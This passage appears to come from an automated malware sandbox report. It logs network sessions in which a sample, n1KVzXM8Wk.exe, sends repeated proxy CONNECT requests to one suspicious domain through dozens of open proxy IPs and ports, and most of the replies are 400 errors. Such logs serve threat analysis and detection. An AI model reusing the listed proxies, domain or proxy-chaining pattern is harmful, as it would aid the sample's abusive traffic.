Feb 23, 2024 09:45:24.826313019 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.4	53143	185.162.229.127	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.787050009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.874531984 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.4	53111	103.200.135.230	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.792330980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.4	53224	194.233.69.126	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.809732914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.4	53227	194.233.69.126	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.810975075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.4	53229	194.233.69.126	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.811933994 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.4	53231	194.233.69.126	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.812534094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.4	53120	175.183.82.221	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.812669992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.492067099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.4	53232	49.51.22.107	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.817295074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.4	53233	49.51.22.107	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.818089008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.4	53113	103.212.95.253	41363	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.824455976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.4	53236	49.51.22.107	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.826224089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.4	52226	184.170.249.65	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.840953112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.4	53158	172.67.182.118	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.847467899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.935306072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.4	53131	77.242.235.35	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.885432959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.4	52294	45.234.60.2	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.885442972 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.367991924 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.4	52894	142.54.235.9	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.888058901 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.4	53167	185.162.230.178	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.888278961 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.976319075 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.4	53240	49.51.22.107	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.891931057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.4	53186	172.67.206.105	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.915359020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.003052950 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.4	53185	162.243.102.207	9764	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.915653944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.4	53223	172.67.182.145	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.923571110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.010915995 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.4	53222	104.19.138.4	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.923947096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.012048960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.4	53234	172.67.69.9	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.924015999 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.011394978 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.4	53141	95.66.138.21	8880	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.926554918 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.4	53132	191.37.155.135	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.930358887 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.4	53125	140.238.247.9	8100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.930816889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.4	52335	91.199.93.32	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.969013929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.4	53139	58.234.116.197	8197	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970202923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.4	52214	181.209.78.78	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970247030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.975202084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:30.975557089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.975409985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.4	53198	46.35.9.110	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970267057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.132564068 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.4	53153	190.103.177.131	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970323086 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.174209118 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:26 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.4	53192	91.134.140.160	27207	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970391035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.4	53187	141.94.174.6	2935	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.970395088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.4	52328	146.56.101.184	21681	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.977289915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.4	52384	192.99.37.195	39911	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:24.992582083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178503036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.178801060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.178822041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.4	53204	92.180.50.202	8443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.000530005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.4	53127	129.154.225.163	8100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.000634909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.463469028 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.4	53250	198.199.86.11	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.054349899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.146801949 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.4	52377	51.158.77.220	16379	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:25.059475899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.178703070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
